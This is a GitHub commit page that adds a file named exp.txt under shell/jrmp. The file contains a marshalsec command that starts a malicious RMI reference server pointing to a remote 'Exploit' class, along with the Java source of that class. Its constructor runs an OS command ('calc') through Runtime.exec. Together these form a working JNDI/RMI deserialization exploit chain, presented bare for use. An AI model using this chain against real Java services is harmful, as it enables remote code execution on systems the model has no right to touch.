Skip to content

Commit df5562a

Browse files
authored
Create exp.txt
1 parent 2d837c6 commit df5562a

1 file changed

Lines changed: 14 additions & 0 deletions

File tree

shell/jrmp/exp.txt

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip/#Exploit
2+
3+
public class Exploit {
4+
public Exploit(){
5+
try{
6+
Runtime.getRuntime().exec("calc");
7+
}catch(Exception e){
8+
e.printStackTrace();
9+
}
10+
}
11+
public static void main(String[] argv){
12+
Exploit e = new Exploit();
13+
}
14+
}

0 commit comments

Comments
 (0)